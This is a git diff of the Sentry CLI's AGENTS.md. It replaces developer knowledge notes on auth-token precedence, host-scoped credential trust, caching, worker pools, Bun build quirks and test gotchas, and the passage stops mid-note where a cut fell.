diff --git a/AGENTS.md b/AGENTS.md index 5cb238380..0443e5a9c 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -991,86 +991,81 @@ mock.module("./some-module", () => ({ ### Architecture - -* **@sentry/api SDK integration: type wrapping pattern and pagination helpers**: @sentry/api SDK integration: wrap SDK types at \`src/lib/api/\*.ts\` boundaries with \`as unknown as SentryX\` casts; never leak SDK types to commands. Wrappers in \`src/types/sentry.ts\` use \`Partial\ & RequiredCore\`. \`src/lib/region.ts\` imports \`retrieveAnOrganization\` directly to avoid circular dep with api-client. \`unwrapResult\`/\`unwrapPaginatedResult\` MUST stay CLI-owned — SDK versions throw plain \`Error\`, breaking the 'all errors are CliError subclasses' invariant (see also 365e4299). Body-shape casts use \`Parameters\\[0]\["body"]\`. + +* **Auth token env var override pattern: SENTRY\_AUTH\_TOKEN > SENTRY\_TOKEN > SQLite**: Auth in \`src/lib/db/auth.ts\` follows layered precedence: \`SENTRY\_AUTH\_TOKEN\` > \`SENTRY\_TOKEN\` > SQLite OAuth token. \`getEnvToken()\` trims env vars (empty/whitespace = unset). \`AuthSource\` tracks provenance. \`ENV\_SOURCE\_PREFIX = "env:"\` — use \`.length\` not hardcoded 4. Env tokens bypass refresh/expiry. \`isEnvTokenActive()\` guards auth commands. Logout must NOT clear stored auth when env token active. These functions stay in \`db/auth.ts\` despite not touching DB because they're tightly coupled with token retrieval. - -* **apiRequestToRegion/rawApiRequest options shape — no timeout/signal/headers on the typed API**: \`ApiRequestOptions\\` in \`src/lib/api/infrastructure.ts\` has only \`{ method, body, params, schema }\`. \`rawApiRequest\` adds \`headers?\`; neither exposes \`timeout\`/\`signal\`. Call sites pass \`(url, init: RequestInit)\` to authenticated fetch — never a \`Request\` (only @sentry/api SDK does). \`apiRequestToRegion\` auto-sets JSON Content-Type and \`JSON.stringify\`s body; \`rawApiRequest\` preserves string bodies, only sets JSON Content-Type when body is object and caller didn't provide one. 204/205 throw \`ApiError\` rather than crashing on \`response.json()\` — bulk-mutate callers must catch. + +* **Consola chosen as CLI logger with Sentry createConsolaReporter integration**: Consola is the CLI logger with Sentry \`createConsolaReporter\` integration. Two reporters: FancyReporter (stderr) + Sentry structured logs. Level via \`SENTRY\_LOG\_LEVEL\`. \`buildCommand\` injects hidden \`--log-level\`/\`--verbose\` flags. \`withTag()\` creates independent instances; \`setLogLevel()\` propagates via registry. All user-facing output must use consola, not raw stderr. \`HandlerContext\` intentionally omits stderr. - -* **Completion fast-path skips Sentry SDK via SENTRY\_CLI\_NO\_TELEMETRY and SQLite telemetry queue**: Shell completions (\`\_\_complete\`) set \`SENTRY\_CLI\_NO\_TELEMETRY=1\` in \`bin.ts\` before any imports, skipping \`createTracedDatabase\` and avoiding \`@sentry/node-core/light\` load (~85ms). Completion timing queued to \`completion\_telemetry\_queue\` SQLite table (~1ms); normal runs drain via \`DELETE FROM ... RETURNING\` and emit as \`Sentry.metrics.distribution\`. Achieves ~60ms dev / ~140ms CI within 200ms e2e budget. + +* **DSN cache invalidation uses two-level mtime tracking (sourceMtimes + dirMtimes)**: DSN cache invalidation — two-level mtime tracking: \`sourceMtimes\` (DSN-bearing files, catches in-place edits) + \`dirMtimes\` (every walked dir, catches new files) + root mtime fast-path + 24h TTL. Dropping either map is a correctness regression. Walker emits mtimes via \`onDirectoryVisit\` hook + \`recordMtimes\` option; DSN scanner uses \`grepFiles({pattern: DSN\_PATTERN, recordMtimes: true, onDirectoryVisit})\` (~20% faster than walkFiles). \`scanCodeForFirstDsn\` stays on direct walker loop (worker init ~20ms dominates single-DSN). Invariants: \`processMatch\` must record mtime for EVERY file with host-validated DSN via \`fileHadValidDsn\` flag independent of \`seen.has(raw)\`. \`scanDirectory\` catch MUST return empty \`dirMtimes: {}\`, NOT partial map (would silently bless unvisited dirs); \`ConfigError\` re-throws. - -* **Fuzzy recovery auto-resolves dash/underscore slug mismatches without original-slug fallback**: Display-name project input (contains spaces) skips slug lookup, goes to name-based fuzzy search across four resolution sites: \`resolveProjectBySlug\`, \`resolveOrgProjectTarget\` (project-search), \`org-list.ts#handleProjectSearch\`, \`project/list.ts#handleProjectNotFound\`. \`parseOrgProjectArg\` detects spaces via \`looksLikeDisplayName()\` and sets \`originalSlug\` on \`project-search\`; sites check \`isDisplayName = originalSlug !== undefined\` and skip \`findProjectsBySlug\` (404s on URL-encoded spaces), going directly to \`triageProjectNotFound\` → \`findSimilarProjectsAcrossOrgs\`. \*\*Critical\*\*: recursive fuzzy recovery calls must NOT pass \`originalSlug\` — otherwise the recovered slug also skips lookup, causing infinite skip→empty→not-found loop. + +* **Grep worker pool: binary-transferable matches + streaming dispatch in src/lib/scan/**: Grep worker pool (\`src/lib/scan/worker-pool.ts\` + \`grep-worker.js\`): lazy singleton, size \`min(8, max(2, availableParallelism()))\`. Matches encoded as \`Uint32Array\` quads \`\[pathIdx, lineNum, lineOffset, lineLength]\` + \`linePool\` string, transferred via \`postMessage(msg, \[ints.buffer])\` (~40% faster than structuredClone). Worker imported via \`with { type: 'text' }\` → \`Blob\` + \`URL.createObjectURL\`; \`new Worker(new URL(...))\` HANGS in \`bun build --compile\` binaries. FIFO \`pending\` queue per worker — per-dispatch \`addEventListener\` causes wrong-request resolution. \`ref()\`/\`unref()\` idempotent booleans, NOT refcounted — only unref when \`inflight\` drops to 0; spawn unref'd. Disable via \`SENTRY\_SCAN\_DISABLE\_WORKERS=1\`. Track dispatched/failed batches with \`Promise.allSettled\` in \`finally\`; throw if all failed so DSN cache doesn't persist false-negatives. Worker bodies as real \`.js\` via \`script/text-import-plugin.ts\`. - -* **Project cache is org-scoped with three key formats and three population paths**: \`project\_cache\` SQLite table uses three key shapes: \`{orgId}:{projectId}\` (DSN resolution), \`dsn:{publicKey}\` (DSN without orgId), \`list:{orgSlug}/{projectSlug}\` (batch from API). Helpers: \`getCachedProject\`, \`getCachedProjectByDsnKey\`, \`getCachedProjectsForOrg\` (completions), \`getCachedProjectBySlug\` (queries all three shapes for hot-path slug lookups; used by \`fetchProjectId\` to skip \`GET /projects/{org}/{project}/\`). Population paths: DSN resolution in resolve-target.ts, \`listProjects()\` batch via \`cacheProjectsForOrg\`, \`fetchProjectId\` seeds on API success. Resolution errors use live API via \`findSimilarProjectsAcrossOrgs\` — no cross-org cache search. + +* **Host-scoped token model: auth.host column + three-layer enforcement**: Host-scoped token model (PR #844): every auth token bound to issuing host via \`auth.host\` column (schema v16), lazy-migrated from boot-env snapshot. Trust established ONLY via \`sentry auth login --url\` or shell-exported \`SENTRY\_HOST\`/\`SENTRY\_URL\` at boot — \`.sentryclirc\` URL is never a trust source. Three layers: (1) \`applySentryUrlContext\` throws on URL-arg mismatch; (2) \`applySentryCliRcEnvShim\` throws on rc-url mismatch (auth login/logout bypass via \`skipUrlTrustCheck\`); (3) fetch-layer \`isRequestOriginTrusted\`. Region trust: in-process Set in \`db/regions.ts\`, lazy-seeded from \`org\_regions\`, auto-synced by \`setOrgRegion(s)\`. \`clearTrustedHostState\` must NOT clear login anchor (breaks IAP re-auth). Login refusal scoped to \`--token\` only (\`refuseTokenLoginToUntrustedHost\`): rc-poisoned env leaks user's pre-existing token via \`auth login --token\`; OAuth device flow has no leak. Use \`isSaaSTrustOrigin\` (strict) and \`isLoginTrustAnchorFor(host)\` (host-scoped, avoids stale-anchor bypass). - -* **Sentry API: events require org+project, issues have legacy global endpoint**: Sentry API scoping/auth quirks: (1) Events require org+project (\`/projects/{org}/{project}/events/{id}/\`); issues use legacy global \`/api/0/issues/{id}/\`; traces need only org. Cross-project search via Discover \`/organizations/{org}/events/?query=id:{eventId}\`. (2) \`/users/me/\` returns 403 for OAuth tokens — use \`/auth/\` instead (all token types, control silo). \`getControlSiloUrl()\` routes; \`SentryUserSchema\` uses \`.passthrough()\` since \`/auth/\` only requires \`id\`. (3) Chunk upload endpoint returns camelCase (\`chunkSize\`, \`chunksPerRequest\`, \`maxRequestSize\`, \`hashAlgorithm\`); \`AssembleResponse\` also camelCase — exception to snake\_case convention. + +* **Magic @ selectors resolve issues dynamically via sort-based list API queries**: Magic @ selectors resolve issues dynamically: \`@latest\`, \`@most\_frequent\` in \`parseIssueArg\` detected before \`validateResourceId\` (@ not in forbidden charset). \`SELECTOR\_MAP\` provides case-insensitive matching. \`resolveSelector\` maps to \`IssueSort\` values, calls \`listIssuesPaginated\` with \`perPage: 1\`, \`query: 'is:unresolved'\`. Supports org-prefixed: \`sentry/@latest\`. Unrecognized \`@\`-prefixed strings fall through. \`ParsedIssueArg\` union includes \`{ type: 'selector' }\`. - -* **Sentry CLI authenticated fetch architecture with response caching**: Authenticated fetch (\`createAuthenticatedFetch\` in \`src/lib/sentry-client.ts\`): auth headers, 30s \`REQUEST\_TIMEOUT\_MS\` default, retry max 2, 401 refresh, span tracing. Dual input: SDK \`Request\` vs \`(url, init)\`. \*\*Body-reuse:\*\* \`buildAttemptFactory\` yields fresh \`(input, init)\` per attempt. \`Request\` clones per attempt. \`FormData\`/\`Blob\`/\`URLSearchParams\` pass through — fetch re-derives multipart boundary / re-streams per call. Only bare \`ReadableStream\` needs materialization to ArrayBuffer. \*\*Do NOT materialize FormData\*\* — strips auto-negotiated \`Content-Type: multipart/form-data; boundary=...\` and breaks chunk upload. \*\*Timeouts:\*\* internal aborts tagged \`INTERNAL\_TIMEOUT\_MARKER\` Symbol; last attempt throws \`TimeoutError\`. Per-endpoint \`ENDPOINT\_TIMEOUT\_OVERRIDES\` (e.g. \`/autofix/\` 120s). Test hooks \`\_\_resolveRequestTimeoutMsForTests\`, \`\_\_injectTimeoutOverrideForTests\`. Response cache: \`http-cache-semantics\` RFC 7234 at \`~/.sentry/cache/responses/\`; GET 2xx only. + +* **safe-read.ts wraps isRegularFile + Bun.file().text() for FIFO-safe user-path reads**: \`src/lib/safe-read.ts\` \`safeReadFile(path, operation): Promise\\` combines \`isRegularFile()\` + \`Bun.file().text()\` + broad error swallow (FIFO/ENOENT/EACCES/EPERM/EISDIR/ENOTDIR). Sole caller: \`apply-patchset.ts\`. \*\*Do NOT use for committed config loads\*\* — swallows EPERM/EISDIR, making \`chmod 000 .sentryclirc\` manifest as confusing 'no auth token'. For loud permission surfacing (\`tryReadSentryCliRc\`), call \`fs.promises.stat\` directly, gate on \`isFile()\`, catch only ENOENT/EACCES. \`read-files.ts\`/\`workflow-inputs.ts\` use direct stat to reuse one stat for size-gating. Test with real \`mkfifo\` + short timeout as hang detector. - -* **Sentry CLI resolve-target cascade has 5 priority levels with env var support**: resolve-target.ts cascade has 5 priority levels: (1) Explicit CLI flags, (2) SENTRY\_ORG/SENTRY\_PROJECT env vars, (3) SQLite config defaults, (4) DSN auto-detection, (5) Directory name inference. SENTRY\_PROJECT supports combo notation \`org/project\` — when used, SENTRY\_ORG is ignored. If combo parse fails (e.g. \`org/\`), the entire value is discarded. \`resolveFromEnvVars()\` helper is injected into all four resolution functions. + +* **Sentry SDK uses @sentry/node-core/light instead of @sentry/bun to avoid OTel overhead**: Sentry SDK uses \`@sentry/node-core/light\` instead of \`@sentry/bun\` to avoid OpenTelemetry overhead (~150ms, 24MB). \`@sentry/core\` barrel patched via \`bun patch\` to remove ~32 unused exports. Gotcha: \`LightNodeClient\` hardcodes \`runtime: { name: 'node' }\` AFTER spreading options — fix by patching \`client.getOptions().runtime\` post-init (mutable ref). Transport uses Node \`http\` instead of native \`fetch\`. Upstream: getsentry/sentry-javascript#19885, #19886. -### Decision - - -* **Issue list global limit with fair per-project distribution and representation guarantees**: \`issue list --limit\` is a global total across all detected projects. \`fetchWithBudget\` Phase 1 divides evenly, Phase 2 redistributes surplus via cursor resume. \`trimWithProjectGuarantee\` ensures ≥1 issue per project before filling remaining slots. JSON output wraps in \`{ data, hasMore }\` with optional \`errors\` array. Compound cursor (pipe-separated) enables \`-c last\` for multi-target pagination, keyed by sorted target fingerprint. + +* **Sentry token formats: only sntrys\_ embeds host claim, and it's unsigned**: Sentry token formats (verified in getsentry/sentry \`orgauthtoken\_token.py\`, \`types/token.py\`): \`sntryu\_\\` (user auth) — no claims; \`sntrys\_\\_\\` (org auth) — \*\*unsigned\*\*, plaintext base64, anyone can forge; \`sntrya\_\` (user app), \`sntryi\_\` (integration) — random hex, no claims; OAuth access tokens — random, no prefix. \`sntrys\_\` payload is a UX hint only, NOT a verifiable trust signal. \`auth.host\` column \[\[019dc168-adb2-7bed-900e-cab5d3716099]] (recorded at issuance) is strictly stronger. \`src/lib/token-claims.ts::parseSntrysClaim\` mimics server: requires exactly 2 underscores, base64-decodes payload, requires \`iat\`. 2 KB cap; fail-open. Two consumers: (1) \`captureEnvTokenHost\` fallback when env lacks \`SENTRY\_HOST\`; env always wins. (2) \`prepareHeaders\` defense-in-depth — refuses bearer attach if request origin doesn't match claim url. - -* **Prefer dedicated SQLite tables + migrations over metadata KV for non-trivial caches**: Prefer dedicated SQLite tables + migrations over \`metadata\` KV for non-trivial caches. Schema migrations are cheap — don't shoehorn structured caches into \`metadata\` with dotted-prefix keys. Dedicated tables give clearer schema, proper indexes, simpler bulk-clear, no prefix collisions. \`metadata\` KV is fine for small scalars (defaults.\*, install.\*). Example: \`issue\_org\_cache\` (schema v15) replaced \`metadata\` keys \`issue\_org.{numericId}\`. Migration pattern: bump \`CURRENT\_SCHEMA\_VERSION\`, add \`EXPECTED\_TABLES.foo\`, add \`if (currentVersion < N) db.exec(EXPECTED\_TABLES.foo)\`. HTTP response cache (URL+headers, short TTLs) can't answer structural questions like 'which org owns issue 123?' — use dedicated tables for structural/mapping questions, HTTP cache for content. - -### Gotcha + +* **Telemetry opt-out is env-var-only — no persistent preference or DO\_NOT\_TRACK**: Telemetry opt-out priority: (1) \`SENTRY\_CLI\_NO\_TELEMETRY=1\`, (2) \`DO\_NOT\_TRACK=1\`, (3) \`metadata.defaults.telemetry\`, (4) default on. DB read try/catch wrapped (runs before DB init). Schema v13 merged \`defaults\` table into \`metadata\` KV with keys \`defaults.{org,project,telemetry,url}\`; getters/setters in \`src/lib/db/defaults.ts\`. \`sentry cli defaults\` uses variadic \`\[key, value?]\`: no args → show all; 1 arg → show key; 2 args → set; \`--clear\` without args → clear all (guarded); \`--clear key\` → clear specific. \`computeTelemetryEffective()\` returns resolved source for display. - -* **Bun bytecode: true crashes esbuild→compile ESM bundles (Bun 1.3.11)**: Bun build flags for compiled CLI (\`script/build.ts\`): (1) Do NOT enable \`bytecode: true\` with esbuild→\`Bun.build({ compile })\` pipeline (Bun 1.3.11). Crashes with \`TypeError: Expected CommonJS module to have a function wrapper\`, exit 0, no output. Upstream: oven-sh/bun#21097, #23490. (2) Pass \`autoloadDotenv: false\` and \`autoloadBunfig: false\` — otherwise a user's \`.env\`/\`bunfig.toml\` silently injects into \`process.env\` (e.g., Next.js \`.env.local\` could override stored OAuth token). Shell env vars still work; suggest direnv for dir-scoped vars. + +* **Zod schema on OutputConfig enables self-documenting JSON fields in help and SKILL.md**: Zod schema on OutputConfig enables self-documenting JSON fields: List commands register \`schema?: ZodType\` on \`OutputConfig\\`. \`extractSchemaFields()\` produces \`SchemaFieldInfo\[]\` from Zod shapes. \`buildFieldsFlag()\` enriches \`--fields\` brief; \`enrichDocsWithSchema()\` appends fields to \`fullDescription\`. Schema exposed as \`\_\_jsonSchema\` on built commands — \`introspect.ts\` reads it into \`CommandInfo.jsonFields\`, \`help.ts\` and \`generate-skill.ts\` render it. For \`buildOrgListCommand\`/\`dispatchOrgScopedList\`, pass \`schema\` via \`OrgListConfig\`. - -* **Bun mock.module() leaks globally across test files in same process**: Bun's mock.module() replaces modules globally and leaks across test files in the same process. Solution: tests using mock.module() must run in a separate \`bun test\` invocation. In package.json, use \`bun run test:unit && bun run test:isolated\` instead of \`bun test\`. The \`test/isolated/\` directory exists for these tests. This was the root cause of ~100 test failures (getsentry/cli#258). +### Decision - -* **Bun test files share globalThis.fetch — mock counters leak across file boundaries**: Bun runs all test files in one process with shared \`globalThis.fetch\`. A test that swaps \`globalThis.fetch = myCountingMock\` and asserts on \`callCount\` can see foreign calls from async work leaked by earlier test files (e.g. the CLI's own Sentry telemetry, or pending retries that outlive their test's \`afterEach\`). CI flake symptom: \`expect(callCount).toBe(2)\` fails with \`Received: 7\`, with debug logs showing stray URLs like \`/api/0/organizations/1/\` and \`/api/0/projects/1/4510776311808000/\` (the CLI's telemetry project ID) between your expected calls. Fix: scope every fetch mock to a per-test URL marker and delegate foreign URLs to the captured \`originalFetch\` (preload.ts blocker). Pattern \`scopedFetchMock(marker, handler)\` lives in \`test/lib/sentry-client.test.ts\`. Reference: PR #832, CI run 24835339085. + +* **All view subcommands should use \ \ positional pattern**: All \`\* view\` subcommands use \`\ \\` positional pattern (Intent-First Correction UX): target is optional \`org/project\`. Use opportunistic arg swapping with \`log.warn()\` when args are wrong order — when intent is unambiguous, do what they meant. Normalize at command level, keep parsers pure. Model after \`gh\` CLI. Exception: \`auth\` uses \`defaultCommand: "status"\` (no viewable entity). Routes without defaults: \`cli\`, \`sourcemap\`, \`repo\`, \`team\`, \`trial\`, \`release\`, \`dashboard/widget\`. - -* **dist/bin.cjs runtime Node version check must match engines.node**: Node 20 dropped; \`engines.node >=22.12\` matches Astro 6 floor. CI \`Build npm Package\` matrix \`\["22","24"]\`. Docs build jobs pin \`actions/setup-node@v6\` with \`node-version: "24"\` after \`setup-bun\` for astro's node shebang. The npm package's \`dist/bin.cjs\` (from \`script/bundle.ts\`) contains an inline Node guard that MUST match \`engines.node\`. Simple \`parseInt(process.versions.node) < 22\` misses 22.0.0–22.11.x — use explicit major+minor: \`let v=process.versions.node.split('.').map(Number);if(v\[0]<22||(v\[0]===22&\&v\[1]<12)){...}\`. When bumping, update BIN\_WRAPPER string AND error message in lockstep. Without \`engine-strict=true\`, npm only warns — the runtime guard is real enforcement. + +* **Sentry-derived terminal color palette tuned for dual-background contrast**: Terminal color palette tuned for dual-background contrast: 10-color chart palette derived from Sentry's categorical hues (\`static/app/utils/theme/scraps/tokens/color.tsx\`), adjusted to mid-luminance for ≥3:1 contrast on both dark and light backgrounds. Adjustments: orange #FF9838→#C06F20, green #67C800→#3D8F09, yellow #FFD00E→#9E8B18, purple #5D3EB2→#8B6AC8, indigo #50219C→#7B50D0; blurple/pink/magenta unchanged; teal #228A83 added. Hex preferred over ANSI 16-color for guaranteed contrast. - -* **Making clearAuth() async breaks model-based tests — use non-async Promise\ return instead**: Making \`clearAuth()\` \`async\` breaks fast-check model-based tests — real async yields during \`asyncModelRun\` cause \`createIsolatedDbContext\` cleanup to interleave. Keep non-async; return \`clearResponseCache().catch(...)\` directly. Model-based tests also need explicit timeouts (e.g., \`30\_000\`) — Bun's default 5s causes false failures during shrinking. +### Gotcha - -* **script/generate-api-schema.ts regex is brittle against SDK bundler output changes**: \`script/generate-api-schema.ts\` parses \`node\_modules/@sentry/api/dist/index.js\` with a regex (\`/var (\w+) = \\(options\S\*\\) => \\(options\S\*client \\?\\? client\\)\\.(\w+)\\(/g\`) to map SDK function names to URL+method pairs, producing \`src/generated/api-schema.json\`. If the SDK changes its generator's bundle format (e.g., switches to \`const\`, arrow vs function, different client-selection pattern), schema generation silently produces empty \`fn\` fields. When bumping \`@sentry/api\`, verify \`sentry schema\` output still populates function names. \`src/generated/api-schema.json\` is gitignored — regenerates on every dev/build/typecheck via \`bun run generate:schema\`. + +* **AuthError constructor takes reason first, message second**: \`AuthError(reason: AuthErrorReason, message?: string)\` where \`AuthErrorReason\` is \`"not\_authenticated" | "expired" | "invalid"\`. Easy to accidentally swap args as \`new AuthError("Token expired", "expired")\` — the string \`"Token expired"\` gets assigned as \`reason\` (invalid enum value). Tests aren't type-checked (tsconfig excludes them), so TypeScript won't catch this. Correct: \`new AuthError("expired", "Token expired")\`. Default messages exist for each reason, so the second arg is often unnecessary. - -* **Source Map v3 spec allows null entries in sources array**: The Source Map v3 spec allows \`null\` entries in the \`sources\` array, and bundlers like esbuild actually produce them. Any code iterating over \`sources\` and calling string methods (e.g., \`.replaceAll()\`) must guard against null: \`map.sources.map((s) => typeof s === "string" ? s.replaceAll("\\\\", "/") : s)\`. Without the guard, \`null.replaceAll()\` throws \`TypeError\`. This applies to \`src/lib/sourcemap/debug-id.ts\` and any future sourcemap manipulation code. + +* **E2E tests + multi-region + host scoping: fixture must setAuthToken with host=serverUrl**: E2E fixture \`createE2EContext\` in \`test/fixture.ts\` sets \`SENTRY\_URL=serverUrl\` in the child process but the parent's \`setAuthToken(token)\` needs to pass explicit \`{host: serverUrl}\` — otherwise the stored token scopes to \`DEFAULT\_SENTRY\_URL\` (SaaS), then child process sees mismatch vs \`SENTRY\_URL=http://127.0.0.1:PORT\` and fetch-layer guard throws. Multi-region tests additionally need \`registerTrustedRegionUrls\` to fire during \`listOrganizationsUncached\` BEFORE fan-out, since regional mock servers are on different localhost ports than the control silo (no SaaS equivalence in tests). Symptom: massive e2e test failure with \`HostScopeError: Refusing to send credentials to \\` after adding host-scoping. - -* **Starlight 0.33+ route data moved from Astro.props to Astro.locals.starlightRoute**: Starlight 0.33+ / Astro 6 docs migration: (1) Route data moved from \`Astro.props\` to \`Astro.locals.starlightRoute\` — old \`Astro.props.sidebar\` is \`undefined\`. Field rename: \`slug\` → \`id\`. Import types via \`@astrojs/starlight/route-data\` (typed on \`Astro.locals\` via \`locals.d.ts\`). Built-in children (SiteTitle, Search, SocialIcons) take no props. \`starlight.social\` is array-form. Content collections must migrate to Content Layer API: rename \`src/content/config.ts\` → \`src/content.config.ts\`, use \`docsLoader()\` + \`docsSchema()\`. Landing-page detection: \`id === ""\` (Starlight's \`normalizeIndexSlug\` maps \`"index"\` → \`""\`). + +* **GET response cache bypasses fetch wrapper across tests**: \`sentry-client.ts::createAuthenticatedFetch\` checks the response cache BEFORE calling fetch for GET requests. Tests that mock \`globalThis.fetch\` and assert call counts will see 0 calls if a prior test cached the same URL — the cached response is served without invoking the wrapper. Fix in test \`beforeEach\`: \`import('./response-cache.js')\` then call \`resetCacheState()\` + \`disableResponseCache()\`. Pair with \`resetAuthenticatedFetch()\` if cached fetch instance is also stale. Symptom: \`expect(fetchCalls).toHaveLength(1)\` fails with \`Received length: 0\` only when run after another test hitting the same URL; passes in isolation. -### Pattern + +* **Node polyfill in script/node-polyfills.ts lacks Bun.file().stat() — use node:fs/promises stat instead**: \`script/node-polyfills.ts\` shims Bun APIs for npm (Node) distribution but is INCOMPLETE — \`Bun.file(path)\` only has \`size\`, \`lastModified\`, \`exists()\`, \`text()\`, \`json()\`, \`stat()\`; NOT \`.arrayBuffer()\`, \`.stream()\`, etc. Also no \`Bun.$\` shim. Tests run under Bun natively and never exercise the polyfill, so missing shims ship undetected (CLI-1EA/1EB: \`Bun.file().stat()\` regression, 400+ events). Prefer \`node:fs/promises\` directly for file ops; \`execSync\` from \`node:child\_process\` for shell. When extending polyfill, alias Node functions via \`bind\` not wrapper closures. Mirror polyfill tests to \`test/lib/\` — \`test:unit\` globs are narrow (\`test/lib test/commands test/types\`); tests under \`test/fixtures/\`, \`test/scripts/\`, \`test/script/\` are NOT picked up by CI. - -* **Bun global installs use .bun path segment for detection**: Bun global installs place scripts under \`~/.bun/install/global/node\_modules/\`. In \`detectPackageManagerFromPath()\`, check \`segments.includes('.bun')\` before npm fallback. Order: \`.pnpm\` → pnpm, \`.bun\` → bun, other \`node\_modules\` → npm. Yarn classic shares npm layout so falls through — acceptable because path detection is \*\*fallback\*\* after subprocess calls (which identify yarn correctly). Path detection must NOT override stored DB info, only serve as fallback when subprocess fails (e.g., Windows \`.cmd\` ENOENT). + +* **process.stdin.isTTY unreliable in Bun — use isatty(0) and backfill for clack**: \`process.stdin.isTTY\` unreliable in Bun — use \`isatty(0)\` from \`node:tty\`. Bun's single-file binary can leave \`process.stdin.isTTY === undefined\` on TTY fds inherited via redirects like \`exec … \ -* **Evict-then-read pattern: return cacheEvicted flag from helpers that clear cache on 404**: When a helper function transparently evicts a stale cache entry on 404 and falls back to an unscoped call, callers holding the now-stale cached value will let it win \`??\` chains. Fix: helper must return \`{ result, cacheEvicted }\` so callers compute \`effectiveCachedValue = cacheEvicted ? null : cachedValue\` before the \`??\` fallback, and re-cache the freshly-derived value. Applied in \`fetchIssueByNumericId\` in \`src/commands/issue/utils.ts\` — both \`resolveNumericIssue\` and \`resolveShareIssue\` consume the flag. A local cached variable outliving its DB entry is the common shape of this bug; always audit post-eviction read paths. + +* **runInteractiveLogin swallows errors and sets process.exitCode = 1**: \`runInteractiveLogin\` in \`src/lib/interactive-login.ts\` catches OAuth flow errors internally (device-code fetch failures, timeout, etc.) and returns falsy on failure. The login command then sets \`process.exitCode = 1\` and returns normally — the wrapped command function resolves, NOT rejects. Tests that mock fetch to throw and expect \`rejects.toThrow()\` will fail with \`resolved: Promise { \ }\`. Assert behavior via fetch-call inspection (\`fetchCalls.length > 0\`, header content) instead. \`requestDeviceCode\` requires \`SENTRY\_CLIENT\_ID\` env var — unset in tests means it throws \`ConfigError\` before any fetch fires. - -* **Non-essential DB cache writes should be guarded with try-catch**: Non-essential DB cache writes (e.g., \`setUserInfo()\`, \`setInstallInfo()\`) must be wrapped in try-catch so a broken/read-only DB doesn't crash a command whose primary operation succeeded. Pattern: \`try { setInstallInfo(...) } catch { log.debug(...) }\`. In login.ts, \`getCurrentUser()\` failure after token save must not block auth — log warning, continue. In upgrade.ts, \`setInstallInfo\` after legacy detection is guarded same way. Exception: \`getUserRegions()\` failure should \`clearAuth()\` and fail hard (indicates invalid token). This is enforced by BugBot reviews — any \`setInstallInfo\`/\`setUserInfo\` call outside setup.ts's \`bestEffort()\` wrapper needs its own try-catch. + +* **Stricli rejects unknown flags — pre-parsed global flags must be consumed from argv**: Stricli flag parsing traps: (1) Unknown \`--flag\`s rejected — global flags parsed in \`bin.ts\` MUST be spliced from argv (check both \`--flag value\` and \`--flag=value\`). (2) \`FLAG\_NAME\_PATTERN\` requires 2+ chars after \`--\`; single-char flags like \`--x\` silently become positionals — use aliases (\`-x\` → longer name). Bit \`dashboard widget --x\`/\`--y\`. (3) \`FlagDef.hidden\` is propagated by \`extractFlags\` so \`generateCommandDoc\` filters hidden flags alongside \`help\`/\`helpAll\`; hidden \`--log-level\`/\`--verbose\` appear only in global options docs. - -* **Regenerating @sentry/core + @sentry/node-core patches for SDK version bumps**: Bumping sentry-javascript exact-pinned version: (1) Delete old \`patches/@sentry%2F{core,node-core}@OLD.patch\` and remove \`patchedDependencies\` entries from \`package.json\`. (2) Bump \`@sentry/node-core\` in devDependencies, \`bun install\`. (3) \`bun patch @sentry/node-core\`, edit \`node\_modules/@sentry/node-core/build/{cjs,esm}/light/index.js\` to strip unused exports, \`bun patch --commit\`. (4) Repeat for \`@sentry/core\` editing \`build/{cjs,esm}/index.js\` — strip unused \`require()\`s AND their \`exports.X = Y;\` lines in CJS, strip names from single-line ESM export. (5) Verify with \`bun install && bun run typecheck && bun test\`. \*\*Critical\*\*: before stripping any \`core\` export, grep \`node-core/build/{cjs,esm}/light/sdk.js\` for runtime usage — e.g. 10.50.0+ calls \`spanStreamingIntegration()\` at runtime when \`traceLifecycle === 'stream'\`; stripping causes \`SyntaxError: Export named 'spanStreamingIntegration' not found\` on first \`Sentry.init()\`. Safe to strip from node-core/light re-export surface. \*\*Also\*\*: when running \`bun patch --commit\`, remove any \`.bun-tag-\\` hunks at the top of the generated patch file — they embed a stray empty marker file into every install (\`node\_modules/@sentry/core/.bun-tag-\*\`). Bun creates its own tag on install regardless; the one from the patch is redundant and noisy. + +* **Whole-buffer matchAll slower than split+test when aggregated over many files**: Grep/scan traps in \`src/lib/scan/\`: (1) Whole-buffer \`regex.exec\` 12× faster per-file but ~1.6× SLOWER than \`split('\n')+test\` aggregated over 10k files — early-exit at \`maxResults\` via \`mapFilesConcurrent.onResult\` wins. (2) Literal prefilter is FILE-LEVEL gate (\`indexOf\`→skip); per-line verify breaks cross-newline patterns and Unicode length-changing \`toLowerCase\` (Turkish \`İ\`→\`i̇\`). (3) Extractor: \`hasTopLevelAlternation\`+\`skipGroup\` must call \`skipCharacterClass\` (PCRE \`\[]abc]\` ≠ JS empty class). (4) Wake-latch race: naive \`let notify=null; await new Promise(r=>notify=r)\` loses signals — use latched \`pendingWake\` flag. (5) \`mapFilesConcurrent\` filters \`null\` but NOT \`\[]\` — return \`null\` for no-op files. (6) \`collectGlob\`/\`collectGrep\` must NOT forward \`maxResults\` to iterator; drain uncapped, set \`truncated=true\`. - -* **Sentry CLI command docs are auto-generated from Stricli route tree with CI freshness check**: Sentry CLI command docs are auto-generated from Stricli route tree: Docs in \`docs/src/content/docs/commands/\*.md\` and skill files in \`plugins/sentry-cli/skills/sentry-cli/references/\*.md\` are generated via \`bun run generate:docs\`. Content between \`\\` markers is regenerated; hand-written examples go in \`docs/src/fragments/commands/\`. CI checks \`check:command-docs\` and \`check:skill\` fail if stale. Run generators after changing command parameters/flags/docs. +### Pattern - -* **Stricli buildCommand output config injects json flag into func params**: Stricli command gotchas: (1) In \`func()\` handlers use \`this.stdout\`/\`this.stderr\` directly — NOT \`this.process.stdout\`. \`SentryContext\` has \`process\` and \`stdout\`/\`stderr\` as separate top-level properties; test mocks omit full \`process\` so \`this.process.stdout\` throws \`TypeError\` at runtime (TS doesn't catch). (2) \`output: { json: true, human: formatFn }\` auto-injects \`--json\`/\`--fields\` flags — type flags explicitly (\`flags: { json?: boolean }\`). Commands with interactive side effects (prompts, QR codes) should check \`flags.json\` and skip. (3) Route maps with \`defaultCommand\` blend the default command's flags into subcommand completions — completion tests must track \`hasDefaultCommand\` and skip strict subcommand-matching. + +* **normalizeUserInputToOrigin combines bare-hostname prefix + URL parse**: \`sentry-urls.ts::normalizeUserInputToOrigin(input)\` combines \`normalizeUrl\` (adds \`https://\` to bare hostnames like 